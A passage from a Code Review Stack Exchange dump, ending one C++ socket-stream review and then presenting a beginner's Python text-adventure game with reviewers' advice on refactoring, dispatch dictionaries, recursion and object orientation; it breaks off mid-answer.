href=\"https://en.wikipedia.org/wiki/Naming_convention_(programming)\" rel=\"nofollow noreferrer\">formatting of names</a>. You have some member variables using PascalCase, others use flatcase.</p>\n<h1>Use <code>enum</code>s where appropriate</h1>\n<p>Use <a href=\"https://en.cppreference.com/w/cpp/language/enum\" rel=\"nofollow noreferrer\"><code>enum</code></a> or even better, <code>enum class</code>, where appropriate. For example, instead of:</p>\n<pre><code>namespace Protocol {\n int TCP = IPPROTO_TCP;\n};\n</code></pre>\n<p>Write:</p>\n<pre><code>enum class Protocol: int {\n TCP = IPPROTO_TCP,\n};\n</code></pre>\n<p>This is will allow the compiler to be much stricter in checking that you don't accidentily pass a value that is not one of the valid enum choices. The only drawback is that sometimes you have to explicitly cast such a variable back to the underlying integer type.</p>\n<h1>Pass large objects by <code>const</code> reference where appropriate</h1>\n<p>C++ normally passes parameters <em>by value</em>, which means it has to make copies. For small parameters like <code>int</code>s, that's totally fine, but for something like <code>std::string</code> it would mean it will allocate memory for a new string, and then copy the string. That is inefficient, which is why you should consider passing them via <code>const</code> references instead. For example:</p>\n<pre><code>void ClientSocket::Connect(const std::string &addr, const std::string &port, Protocol protocol) {\n ...\n}\n</code></pre>\n<h1>Unnecessary and dangerous casts</h1>\n<p>Why is <code>readsize</code> explicitly cast to an <code>int</code> in <code>NetworkStream::NetworkBuff::underflow()</code>, when it is already an <code>int</code>? That cast is not necessary. Then there is <code>ptr->ai_addrlen</code> being cast to an <code>int</code> in <code>ClientSocket::Connect()</code>. A <code>socklen_t</code> might be larger than an <code>int</code>, in which case this cast could silently truncate the size, or perhaps even turn it into something negative. While it is <em>probably</em> fine here (after all, who would expect <code>addrlen</code> to be larger than a few tens of bytes?), casts like these are subtle sources of security bugs. Try to find a way to avoid these casts, and if you really need a cast, consider always casting to a larger type if possible.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-30T18:34:47.630",
"Id": "261432",
"ParentId": "222606",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "261432",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-19T21:54:33.487",
"Id": "222606",
"Score": "6",
"Tags": [
"c++",
"socket",
"stream"
],
"Title": "C++ network stream"
} | 222606 |
<p>I am new to Python and I have not yet done any OOP. I wrote this text adventure as a first project and I would like to know if there is a better and more efficient way to write my code within its current paradigm. Any suggestions or critique are more than welcome.</p>
<p>The code is quite long. I don't expect anyone to read all of it.</p>
<pre class="lang-py prettyprint-override"><code>#!/usr/bin/env python
import cmd
import random
import time
import sys
import os
#### Effects ####
def print_slow(str):
for letter in str:
sys.stdout.write(letter)
sys.stdout.flush()
time.sleep(0.1)
print("\n")
def load_effect(str):
for letter in str:
sys.stdout.write(letter)
sys.stdout.flush()
time.sleep(0.5)
#### Title Screen ####
def menu():
print("\n")
print("SHADOWS OVER LAURENDALE")
print("Version 1.0")
action = input("> ")
if action.lower() == "p":
intro()
elif action.lower() == "q":
sys.exit()
elif action.lower() == "i":
info_menu()
elif action.lower() == "h":
help_menu()
while action.lower() not in ['p', 'q', 'i', 'h']:
print("Invalid option! Enter 'p' to launch the game,")
print("'q' to quit, 'i' for info, or 'h' for help.")
action = input("> ")
if action.lower() == "p":
intro()
elif action.lower() == "q":
sys.exit()
elif action.lower() == "i":
info_menu()
elif action.lower() == "h":
help_menu()
def info_menu():
print("www.shadows-over-laurendale.github.io")
action = input("> ")
if action.lower() == "p":
intro()
elif action.lower() == "q":
sys.exit()
elif action.lower() == "i":
info_menu()
elif action.lower() == "h":
help_menu()
while action.lower() not in ['p', 'q', 'i', 'h']:
print("Invalid option! Enter 'p' to launch the game,")
print("'q' to quit, 'i' for info, or 'h' for help.")
action = input("> ")
if action.lower() == "p":
intro()
elif action.lower() == "q":
sys.exit()
elif action.lower() == "i":
info_menu()
elif action.lower() == "h":
help_menu()
def help_menu():
print("Enter commands to interact with the world.")
print("For more info and a list of commands, consult the manual.")
action = input("> ")
if action.lower() == "p":
intro()
elif action.lower() == "q":
sys.exit()
elif action.lower() == "i":
info_menu()
elif action.lower() == "h":
help_menu()
while action.lower() not in ['p', 'q', 'i', 'h']:
print("Invalid option! Enter 'p' to launch the game,")
print("'q' to quit, 'i' for info, or 'h' for help.")
action = input("> ")
if action.lower() == "p":
intro()
elif action.lower() == "q":
sys.exit()
elif action.lower() == "i":
info_menu()
elif action.lower() == "h":
help_menu()
#### Player ####
player_health = 100
player_inventory = ["Map"]
player_gold = 50
#### Main Scenes ####
def intro():
print("\n")
load_effect("...loading...")
print("\n")
print_slow("'Wake up, Arris...'")
print_slow("'You've been sleeping all day!'")
print_slow("'Why don't you go outside and do something?'")
print_slow("'It's so lovely today. Be back for dinner!'")
print("\n")
print_slow("'Okay...'")
print("\n")
village()
def village():
global player_gold
global player_health
print("\n")
print("You are in the village.")
while True:
action = input("> ")
if action == "1":
river()
if action == "2":
farmlands()
elif action == "3":
forest()
elif action == "4":
shop()
elif action == "5":
home()
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the river(1), the farmlands(2), the forest(3), the shop(4), home(5).")
elif action == "e":
print("Sounds of laughter and loud conversation can be heard in this lively village.")
print("What a lovely place! I was born here and my heart will always be here...")
elif action == "t":
print("A merchant on the street waves you over to where he is.")
print("'Care for some fresh bread, young man? It's only 5 gold.' He asks.")
print("You have",player_gold,"gold.")
print("Yes(y) or no(n)?")
action = input("> ")
if action == "y":
if "Bread" in player_inventory:
print("Looks like you already have some bread, kid!")
print("Eat it up and come back... Hehe.")
elif player_gold >= 5:
player_inventory.append("Bread")
player_gold -= 5
print("'Here you go!'")
print("You take the bread from the man.")
elif player_gold < 5:
print("Sorry you don't have enough! Ask your mother for a little gold! Hehe.")
elif action == "n":
print("Okay. Maybe next time!")
else:
print("Invalid command! Try again.")
action = input("> ")
if action == "y":
if player_gold >= 5:
player_inventory.append("Bread")
player_gold -= 5
print("'Here you go!'")
print("You take the bread from the man.")
elif player_gold < 5:
print("Sorry you don't have enough! Ask your mother for a little gold! Hehe.")
elif action == "n":
print("Okay. Maybe next time!")
else:
print("Invalid command! Try again.")
def river():
global player_gold
global player_health
print("\n")
print("You are by the river.")
while True:
action = input("> ")
if action == "1":
village()
elif action == "2":
farmlands()
elif action == "3":
forest()
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the farmlands(2), the forest(3).")
elif action == "e":
print("I can hear the water flowing gently and the birds are singing...")
print("A small boy is out here with his fishing net.")
elif action == "t":
print("The little boy with his net look over at you.")
print("'Have you ever tried crossing this river?'")
print("'It looks so beautiful on the other side.'")
print("'I better get back to catching the fishes.'")
print("'My papa will be proud!'")
if "Raft" in player_inventory:
print("/n")
print("Will you cross the river? Yes(y) or no(n)?")
action = input("> ")
if action == "n":
print("That river looks dangerous anyways...")
print("It's infested with snakes.")
elif action == "y":
outskirts()
else:
print("Invalid command! Try again.")
action = input("> ")
if action == "n":
print("That river looks dangerous anyways...")
print("It's infested with snakes.")
elif action == "y":
outskirts()
else:
print("Invalid command! Try again.")
def farmlands():
global player_gold
global player_health
global ruby_saved
print("\n")
print("You are in the farmlands.")
while True:
action = input("> ")
if action == "1":
village()
elif action == "2":
river()
elif action == "3":
forest()
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the river(2), the forest(3).")
elif action == "e":
print("Rosy red tomatoes and evergreen lettuce are growing from the ground...")
print("A farmer waves to you and smiles.")
elif action == "t":
print("'Have you seen my lovely Ruby?' The farmer asks.")
print("'She's run away again.'")
print("He looks very concerned.")
else:
print("Invalid command! Try again.")
def forest():
global player_gold
global player_health
print("\n")
print("You are in the forest.")
while True:
action = input("> ")
if action == "1":
village()
elif action == "2":
river()
elif action == "3":
farmlands()
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the river(2), the farmlands(3).")
elif action == "e":
print("This is a far way from home...")
print("The sound of a girl screaming can be faintly heard.")
print("I'm afraid to go on.")
if "Sword" in player_inventory:
print("\n")
print("But I do have a weapon to protect myself.")
print("Shall I go on? Yes(y) or no(n)?")
action = input("> ")
if action == "n":
print("I won't go any further...")
elif action == "y":
forest_two()
else:
print("Invalid command! Try again.")
action = input("> ")
if action == "n":
print("I won't go any further...")
elif action == "y":
forest_two()
elif action == "t":
print("There's no one to talk to here...")
else:
print("Invalid command! Try again.")
#### Sub Scenes ####
def home():
global player_gold
global player_health
print("\n")
print("You are at home.")
while True:
action = input("> ")
if action == "1":
village()
elif action == "2":
river()
elif action == "3":
farmlands()
elif action == "4":
forest()
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the river(2), the farmlands(3), the forest(4).")
elif action == "e":
print("A warm fire is crackling in the hearth...")
print("Something smells delicious!")
elif action == "t":
print("You call for your mother.")
print("She comes inside from the back door and smiles.")
print("'There you are! Now what have you been up to?'")
if player_health < 100:
print("\n")
print("'You're hurt! Let me tend to your wounds.'")
player_health = 100
print("You feel better. You now have",player_health,"health.")
else:
print("Invalid command! Try again.")
def outskirts():
global player_gold
global player_health
print("\n")
print("You are in the outskirts.")
while True:
action = input("> ")
if action == "1":
village()
elif action == "2":
river()
elif action == "3":
farmlands()
elif action == "4":
forest()
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the river(2), the farmlands(3), the forest(4).")
elif action == "e":
print("You can see the boy fishing from across the river.")
if "Sword" not in player_inventory:
print("You see a shiny item lying in the grass.")
print("Will you take it? Yes(y) or no(n)?")
action = input("> ")
if action == "n":
print("Some things are better left where you found them.")
elif action == "y":
print("You reach for it. It's a beautiful and sharp sword!")
print("But as soon as you grab it, a snake bites your hand!")
snake_attack = random.randint(1,100)
player_health -= snake_attack
player_inventory.append("Sword")
else:
print("Invalid command! Try again.")
action = input("> ")
if action == "n":
print("Some things are better left where you found them.")
elif action == "y":
print("You reach for it. It's a beautiful and sharp sword!")
print("But as soon as you grab it, a snake bites your hand!")
snake_attack = random.randint(1,100)
player_health -= snake_attack
player_inventory.append("Sword")
elif action == "t":
print("You yell to the boy across the river.")
print("'Hey! How did you get over there?'")
else:
print("Invalid command! Try again.")
def shop():
global player_gold
global player_health
print("\n")
print("You are in the shop.")
while True:
action = input("> ")
if action == "1":
village()
elif action == "2":
river()
elif action == "3":
farmlands()
elif action == "4":
forest()
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the river(2), the farmlands(3), the forest(4).")
elif action == "e":
print("A friendly woman is standing at the counter.")
print("'Hello! Can I help you, young man?'")
elif action == "t":
print("'Please, browse our wares.'")
print("'We have what you need.'")
print("'Do you want to see what we have?'")
print("Yes(y) or no(n)?")
action = input("> ")
if action == "y":
print("You can buy:")
print("a fishing pole(f) for 10 gold, a leather tunic(t) for 20 gold,")
print("a guitar(g) for 30 gold, and a raft(r) for 15 gold.")
action = input("> ")
if action == "f":
if "Fishing poll" in player_inventory:
print("I aleady have one!")
elif player_gold >= 10:
player_inventory.append("Fishing poll")
player_gold -= 10
print("'Here you go!'")
print("You bought a lovely handmade fishing poll.")
elif player_gold < 5:
print("Sorry you don't have enough for this, kid.")
elif action == "t":
if "Tunic" in player_inventory:
print("I aleady have one!")
elif player_gold >= 20:
player_inventory.append("Leather tunic")
player_gold -= 20
print("'Here you go!'")
print("You bought a bulky leather tunic.")
elif player_gold < 20:
print("Sorry you don't have enough for this, kid.")
elif action == "g":
if "Guitar" in player_inventory:
print("I aleady have one!")
elif player_gold >= 30:
player_inventory.append("Guitar")
player_gold -= 30
print("'Here you go!'")
print("You bought a gorgeous guitar.")
elif player_gold < 30:
print("Sorry you don't have enough for this, kid.")
elif action == "r":
if "Raft" in player_inventory:
print("I aleady have one!")
elif player_gold >= 15:
player_inventory.append("Raft")
player_gold -= 15
print("'Here you go!'")
print("You bought a small wooden raft.")
elif player_gold < 15:
print("Sorry you don't have enough for this, kid.")
else:
print("Invalid command! Try again.")
elif action == "n":
print("'Okay, no worries! I just love your company.'")
print("'Tell your friends about this place, okay?'")
else:
print("Invalid command! Try again.")
print("'Please, browse our wares.'")
print("'We have what you need.'")
print("'Do you want to see what we have?'")
print("Yes(y) or no(n)?")
action = input("> ")
else:
print("Invalid command! Try again.")
def forest_two():
global player_gold
global player_health
print("\n")
print("You are deep into the forest.")
while True:
action = input("> ")
if action == "1":
print("I don't know how to get there. I'm lost.")
elif action == "2":
print("I don't know how to get there. I'm lost.")
elif action == "3":
print("I don't know how to get there. I'm lost.")
elif action == "4":
print("I don't know how to get there. I'm lost.")
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the river(2), the farmlands(3), the forest entrance(4)")
elif action == "e":
print("You are in a part of the forest you've never seen before.")
print("You are lost...")
elif action == "t":
print("You call for help.")
print("You suddenly hear the girl scream again.")
print("This time louder...")
print("Will you investigate?")
print("Yes(y) or no(n)?")
action = input("> ")
if action == "n":
print("You decide not to go.")
print("A wolf howls in the distance.")
print("The moon glistening above you.")
elif action == "y":
final()
else:
print("Invalid command! Try again.")
else:
print("Invalid command! Try again.")
def final():
global player_gold
global player_health
print("\n")
print("You are even further into the woods.")
print("You see an old, abandoned cabin just ahead.")
while True:
action = input("> ")
if action == "1":
print("I can't go there. I'm lost!")
elif action == "2":
print("I can't go there. I'm lost!")
elif action == "3":
print("I can't go there. I'm lost!")
elif action == "4":
print("I can't go there. I'm lost!")
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the river(2), the farmlands(3), the forest entrance(4).")
elif action == "e":
print("The screaming is now even closer...")
print("You are frozen with terror.")
elif action == "t":
print("You call for the girl.")
print("She can hear you now!")
print("'Help me! Please, help me!'")
print("Her voice sounds like it's coming from the cabin.")
print("Will you go?")
print("Yes(y) or no(n)?")
action = input("> ")
if action == "n":
print("You hide behind some trees.")
print("You look behind you into the forest.")
print("There's no turning back.")
elif action == "y":
cabin()
else:
print("Invalid command! Try again.")
else:
print("Invalid command! Try again.")
def cabin():
global player_gold
global player_health
print("\n")
print("You are right outside of the cabin.")
print("You draw your sword...")
while True:
action = input("> ")
if action == "1":
print("No turning back.")
elif action == "2":
print("No turning back.")
elif action == "3":
print("No turning back.")
elif action == "4":
print("No turning back.")
elif action == "h":
print("Health:",player_health)
elif action == "i":
print("Inventory:")
for items in player_inventory:
print(items)
elif action == "g":
print("Gold:",player_gold)
elif action == "m":
print("Map: the village(1), the river(2), the farmlands(3), the forest entrance(4).")
elif action == "e":
print("You walk up to the door and raise your sword.")
print("Will you enter? Yes(y) or no(n)?")
action = input("> ")
if action == "n":
print("You wait to regain your composure.")
print("You muster up a little courage.")
print("Something terrible is waiting behind the door.")
elif action == "y":
print("\n")
print("You open the door. It creaks loudly as peak inside.")
print("You see a small girl with red hair lying in the corner.")
print("'Help me! Someone brought me here and he's going to kill me!'")
print("She sobs hopelessly.")
print("You ask her where he is.")
print("'I don't know.' She says. 'He left a few minutes ago to get an axe!'")
print("'Please help me! My name is Ruby. My dad is looking for me!'")
time.sleep(10)
print("\n")
print("A man in a black robe bursts into the cabin with a bloody axe!")
time.sleep(5)
print("\n")
print("Ruby screams.")
print("'No! Please. I didn't do anything...'")
print("'Help me, boy!'")
time.sleep(5)
print("\n")
print("The man raises his axe to slice you apart.")
print("But you swiftly parry his attack with your sword.")
time.sleep(5)
print("\n")
print("You raise your sword to strike back.")
print("Ruby puts her hands over her face.")
time.sleep(5)
print("\n")
print("You slice into the man's shoulder.")
time.sleep(5)
print("\n")
print("He strikes again...")
enemy_attack = random.randint(1,100)
player_health -= enemy_attack
print("He swings his axe furiously toward you...")
time.sleep(5)
print("\n")
print("He cuts into your arm as you moan in agony!")
print("Ruby screams.")
time.sleep(5)
print("\n")
print("You fall on the floor and drop your sword...")
if player_health > 0:
time.sleep(5)
print("\n")
print("In a last burst of strength,")
print("You lift up the sword with both hands")
print("and charge toward the shadowy figure.")
time.sleep(5)
print("\n")
print("You cut into the man's chest and pierce his heart.")
time.sleep(5)
print("\n")
print("He falls to the floor.")
print("He lies in a puddle of his own blood.")
time.sleep(5)
print("\n")
print("Ruby runs toward you, crying.")
print("'You saved my life!' She exclaims enthusiastically.")
print("You drop your sword, exausted")
time.sleep(5)
print("\n")
print("She embraces you, tightly.")
print("'Please take me home to my daddy's farm...' She begs.")
time.sleep(5)
print("\n")
print("You both return to the farm.")
print("The farmer sees you and his daughter walking toward the farm.")
print("'Ruby! You're back!'")
time.sleep(5)
print("\n")
print("'You were the boy I saw yesterday!'")
print("You shrug in agreement.")
time.sleep(5)
print("\n")
print("'You found my daughter, boy!' He says excitedly.")
print("'I can't thank you enough.'")
print("Ruby runs home to her father.")
print("She looks back at you and smiles.")
time.sleep(5)
print("\n")
print("You return home.")
print("Your mother must be worried sick!")
elif player_health <= 0:
print("You fall unconscious as the hooded figure drags you away...")
sys.exit
else:
print("Invalid command! Try again.")
elif action == "t":
print("You anxiously hyperventilate. You cannot make a sound.")
else:
print("Invalid command! Try again.")
menu()
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-19T22:49:04.950",
"Id": "430979",
"Score": "0",
"body": "Welcome to Code Review! I changed your title so that it hopefully better follows our guide on *[How do I ask a good question?](https://codereview.stackexchange.com/help/how-to-ask)*. Feel free to have a look at the resource I linked and edit it again to make it even more expressive."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-19T23:08:10.397",
"Id": "430980",
"Score": "0",
"body": "Thanks for the clarification, AlexV."
}
] | [
{
"body": "<p>In <code>print_slow</code>:</p>\n\n<ul>\n<li><p>I would pass in a time delay value, or at the very least have the delay value as a \"constant\" above. Using magic numbers isn't a good habit to get in to. I'd lean to either one of these:</p>\n\n<pre><code>def print_slow(str, delay = 0.1):\n for letter in str:\n sys.stdout.write(letter)\n sys.stdout.flush()\n time.sleep(delay)\n\n print(\"\\n\")\n</code></pre>\n\n<p>or</p>\n\n<pre><code>SLOW_PRINT_DELAY = 0.1\n\ndef print_slow(str):\n for letter in str:\n sys.stdout.write(letter)\n sys.stdout.flush()\n time.sleep(SLOW_PRINT_DELAY)\n\n print(\"\\n\")\n</code></pre>\n\n<p>The first has the benefit that you can alter how slowly it prints for different circumstances. This does away with the need for a separate nearly identical function <code>load_effect</code>. I'm having it to default to 0.1 just in case they don't want to specify the delay. You could even combine both of these options and have the constant, and use it as the default value that <code>print_slow</code> defaults to.</p></li>\n<li><p>I'm not entirely sure why you're using <code>sys.stdout</code> directly. It doesn't seem to be for portability reasons since you use plain <code>print</code> right below that. If it's to avoid the newline being added at the end when using <code>print</code>, I'll just point out that you can use the <code>end</code> parameter of <code>print</code> to avoid that:</p>\n\n<pre><code>print(\"Some text\", end = \"\") # Will not print a newline after\n</code></pre></li>\n</ul>\n\n<hr>\n\n<p>At the top of <code>menu</code> you have a dispatch where you're using <code>lower</code> then checking the input against several characters. My issue with how you have it here is you're calling <code>lower</code> repeatedly (and repeating yourself is never a good thing), and then you repeat that whole thing below that in a verification loop! Wrap the repetitious code up in a function and call it as needed:</p>\n\n<pre><code>def dispatch_action(action_key):\n std_action = action_key.lower() # Standardize it once\n\n if std_action == \"p\":\n intro()\n\n elif std_action == \"q\":\n sys.exit()\n\n elif std_action == \"i\":\n info_menu()\n\n elif std_action == \"h\":\n help_menu()\n</code></pre>\n\n<p>Then, you can return <code>False</code> if they entered a bad action, and <code>True</code> if it was a good action, and loop in <code>menu</code> until <code>dispatch_action</code> returns <code>True</code>.</p>\n\n<p>Or, you could get a little fancy and neaten it up a bit by having a map of functions:</p>\n\n<pre><code>MENU_ACTIONS = {\"p\": intro,\n \"q\": sys.exit,\n \"i\": info_menu,\n \"h\": help_menu}\n\ndef dispatch_action(action_key):\n std_action = action_key.lower() # Standardize it once\n\n f = MENU_ACTIONS.get(std_action, None) # Default to None if the command is bad\n\n if f:\n f() # Call the menu function returned by the lookup\n\n else:\n # Handle a bad command\n</code></pre>\n\n<p>I like dictionaries when you're just doing simple matching against something like a String or number. It'll be potentially faster than an <code>if</code> tree (although that doesn't matter here), and I just personally like how they read. It makes it so you don't have to write (and read) <code>std_action ==</code> over and over again.</p>\n\n<hr>\n\n<p>There's a <em>lot</em> more to get into here, but I'm quite tired. Hopefully someone else can comment on the rest.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T02:06:21.620",
"Id": "431487",
"Score": "0",
"body": "Thank you for your especially useful and thought-provoking feedback. And thank you for taking the time out of your day to reply despite being tired."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T01:01:41.537",
"Id": "222612",
"ParentId": "222607",
"Score": "2"
}
},
{
"body": "<h2>The right tool for the job</h2>\n\n<p>Adventure games are data-driven programs. In the game, you will have objects which have descriptions. You will have places, which have descriptions, contents, and connections to other locations. You will have a player, who will have a description, an inventory (contents), and move from location to location.</p>\n\n<p>Inform 7 is an interactive fiction programming language, which allow you to describe the world to the game engine in a natural language, and it will help you build the interactions by providing a standard library of actions, input parsing, etc., and allow someone to play the story.</p>\n\n<p>But if your goal is to learn Python, and this is just a project to work on while you are learning...</p>\n\n<h2>Infinite Recursion</h2>\n\n<p>You game never ends.</p>\n\n<p><code>menu()</code> can call <code>help_menu()</code> which can call <code>help_menu()</code> which can call <code>info_menu()</code> which can call <code>help_menu()</code> which can call <code>intro()</code> which will call <code>village()</code>, which can call <code>home()</code> which can call <code>village()</code> which can call ...</p>\n\n<p>Your stack can become infinitely deep. Well, actually, it can't; the interpreter will eventually give up and raise an exception if it gets too deep. You probably will never encounter this is normal game play, but if you ever had a robot tester for the program, it could move back and forth between locations and eventually cause a stack overflow.</p>\n\n<p>You want your functions to <code>return</code> to their caller, eventually.</p>\n\n<h2>Don't Repeat Yourself (DRY)</h2>\n\n<p>The opposite of DRY code is WET code ... Write Everything Twice. In your <code>shop()</code> function, you've written almost exactly the same code 4 times!</p>\n\n<pre><code> if action == \"f\":\n if \"Fishing poll\" in player_inventory:\n print(\"I aleady have one!\")\n elif player_gold >= 10:\n player_inventory.append(\"Fishing poll\")\n player_gold -= 10\n print(\"'Here you go!'\")\n print(\"You bought a lovely handmade fishing poll.\")\n elif player_gold < 5:\n print(\"Sorry you don't have enough for this, kid.\")\n elif action == \"t\":\n # Almost identical code\n elif action == \"g\":\n # Almost identical code\n elif action == \"r\":\n # Almost identical code\n else:\n</code></pre>\n\n<p>Let's dry this up:</p>\n\n<pre><code> if action == \"f\":\n buy(\"Fishing poll\", 10, \"lovely handmade fishing pole\")\n elif action == \"t\":\n buy(\"Tunic\", 20, \"bulky leather tunic\")\n elif action == \"g\":\n buy(\"Guitar\", 30, \"gorgeous guitar\")\n elif action == \"r\":\n buy(\"Raft\", 30, \"small wooden raft\")\n else:\n\ndef buy(item, cost, description):\n global player_gold, player_inventory\n\n if item in player_inventory:\n print(\"I already have one!\")\n elif player_gold >= cost:\n player_inventory.append(item)\n player_gold -= cost\n print(\"'Here you go!'\")\n print(f\"You bought a {description}.\")\n else:\n print(\"Sorry you don't have enough for this, kid.\")\n</code></pre>\n\n<p>This will fix two bugs:</p>\n\n<ol>\n<li>Buying a <code>Tunic</code> will add a <code>Leather Tunic</code> to your inventory, not a <code>Tunic</code>, so you can keep buying a <code>Tunic</code> until you run out of money.</li>\n<li>A fishing pole cost 10 gold, but you are only told you can't buy one if you have less than 5 gold.</li>\n</ol>\n\n<p>We still repeat ourself for the items and their costs when the shopkeeper describes what you can buy. So let's keep going:</p>\n\n<pre><code> store_inventory = {\n 'f': (\"Fishing poll\", 10, \"lovely handmade fishing pole\"),\n 't': (\"Tunic\", 20, \"bulky leather tunic\"),\n 'g': (\"Guitar\", 30, \"gorgeous guitar\"),\n 'r': (\"Raft\", 30, \"small wooden raft\")\n }\n\n print(\"You can buy:\")\n for key, item_data in store_inventory.items():\n item, cost, description = item_data\n print(f\" a {item.lower()}({key}) for {cost} gold\")\n action = input(\"> \")\n\n if action in store_inventory:\n item, cost, description = store_inventory[action]\n buy(item, cost, description)\n</code></pre>\n\n<p>This can work for your other bread merchant as well.</p>\n\n<p>Certain player actions are available in every location/scene.</p>\n\n<ul>\n<li><code>h</code> - Player health</li>\n<li><code>i</code> - Player inventory</li>\n<li><code>g</code> - Player gold</li>\n<li><code>m</code> - Map</li>\n</ul>\n\n<p>With the exception of the map command, these are all identical. The map command displays different text depending on the location.</p>\n\n<pre><code>def player_commands(action):\n if action == 'h':\n print(f\"Heath: {player_health}\")\n elif action == 'i':\n print(\"Inventory:\")\n for item in player_inventory:\n print(item)\n elif action == 'g':\n print(f\"Gold: {player_gold}\")\n elif action == 'm':\n show_map()\n else:\n return False # Not a Player Command, so not handled\n return True # Player Command handled\n</code></pre>\n\n<p>Now, in the village, or forest, or outskirts, or shop, or river, or cabin, or home, you can use the following, instead of repeating the same 10 lines over and over again:</p>\n\n<pre><code> if player_command(action):\n pass\n elif action == 'e':\n # etc.\n</code></pre>\n\n<h2>Object Orientation</h2>\n\n<p>From your code, we can tell you know how to use strings, lists, functions, loops, and if/elif/else statements. I introduced a dictionary and a tuple in the store’s inventory, above. Those, along with classes, are going to make your game easier to write.</p>\n\n<p>Right now you have <code>player_gold</code>, <code>player_inventory</code> and <code>player_health</code>. 3 separate global variables which are all related to the player. We can encapsulate these into an object.</p>\n\n<pre><code>player = object()\nplayer.health = 100\nplayer.inventory = [\"Map\"]\nplayer.gold = 50\n</code></pre>\n\n<p>This is an ad-hoc object, with 3 members. Having it has the advantage that you don’t need to pull 3 global variables into various functions, just the one <code>player</code> global. And since you will never modify the <code>player</code> global (just its contents), you don’t even need <code>global player</code> in any function; it you haven’t defined a local <code>player</code> variable, the function will use the global <code>player</code> automatically.</p>\n\n<p>We can be a bit more structured. The player is a person, but so it the merchant, the little boy, the farmer, your mother, the friendly woman, Ruby and the man in a black robe. You fight the man in the black robe, so he should probably have health that can be eroded. Both you and Ruby have names. Maybe you should declare a <code>Person</code> class.</p>\n\n<pre><code>class Person:\n def __init__(self, name):\n self.name = name\n self.health = 100\n self.inventory = []\n self.gold = 0\n self.location = None\n\nplayer = Person(\"Arris\")\nplayer.gold += 50\nplayer.inventory.append(\"Map\")\n\nmother = Person(\"your mother\")\n\nruby = Person(\"Ruby\")\n</code></pre>\n\n<p>The world is full of things. Things have names. Things have descriptions. Things should have a <code>class</code>:</p>\n\n<pre><code>class Thing:\n def __name__(self, name, description):\n self.name = name\n self.description = description\n\nsword = Thing(\"Sword\", \"a beautiful and sharp sword\")\nbread = Thing(\"Bread\", \"fresh bread\")\n</code></pre>\n\n<p>In a similar vein, the world is full of locations. The locations have names. The locations have contents. The locations have connections to other locations. A location should be a <code>class</code>, and each location should be a member of that class.</p>\n\n<pre><code>class Location:\n def __init__(self, name):\n self.name = name\n self.contents = []\n self.connections = {}\n\n def remove_item(self, item):\n self.contents.remove(item)\n\nhome = Location(\"at home\")\nvillage = Location(\"in the village\")\nriver = Location(\"by the river\")\noutskirts = Location(\"in the outskirts\")\n\n# ... etc ...\n\nhome.contents.append(mother)\nhome.connection['1'] = village\nhome.connection['2'] = river\n# ... etc ...\n\noutskirts.contents.append(sword)\n</code></pre>\n\n<p>It may not be immediately obvious, but a <code>Person</code> is a <code>Thing</code>, and a <code>Location</code> is a <code>Thing</code>, so you could could make the <code>Person</code> and <code>Location</code> classes derive from <code>Thing</code>. The <code>Person</code>’s inventory would be their <code>contents</code>. If you extend your game, a <code>Thing</code> could be a <code>Container</code> (such as a box), which also has contents ... so you might consider deriving <code>Person</code> and <code>Location</code> from <code>Container</code> which is derived from <code>Thing</code>. Some class hierarchies will add value; some class hierarchies may just create confusion. Is a <code>Person</code> really a <code>Container</code>? Does that add any useful simplifications from a programming point of view?</p>\n\n<p>I mentioned Player actions earlier, which can be invoked anywhere the player is. These actions could be attached to a Player object:</p>\n\n<pre><code>class Player(Person):\n def __init__(self, name):\n super().__init__(name)\n\n def perform(self, action):\n if action == 'h':\n print(\"Health: {self.health}\")\n # ... etc\n</code></pre>\n\n<p>When the player is in a different locations, the <code>e</code> and <code>t</code> actions behave differently.</p>\n\n<pre><code> elif action == 'e':\n self.location.explore()\n elif action == 't':\n self.location.talk()\n</code></pre>\n\n<p>... and we can attach actions to the <code>Location</code> class:</p>\n\n<pre><code>class Location:\n\n def explore(self):\n if self.contents:\n print(\"You see:\")\n for item in self.contents:\n print(item)\n else:\n print(\"You poke around, but don’t find anything interesting\")\n\n def talk(self):\n print(\"You mutter to yourself.\")\n</code></pre>\n\n<p>Different locations may have different behaviours. For example, taking the <code>sword</code> in the <code>outskirts</code> might invoke the wrath of a <code>snake</code>. (Talking to you mom will get her to heal you.) So you might want to further specialize the <code>Location</code> class.</p>\n\n<pre><code>class 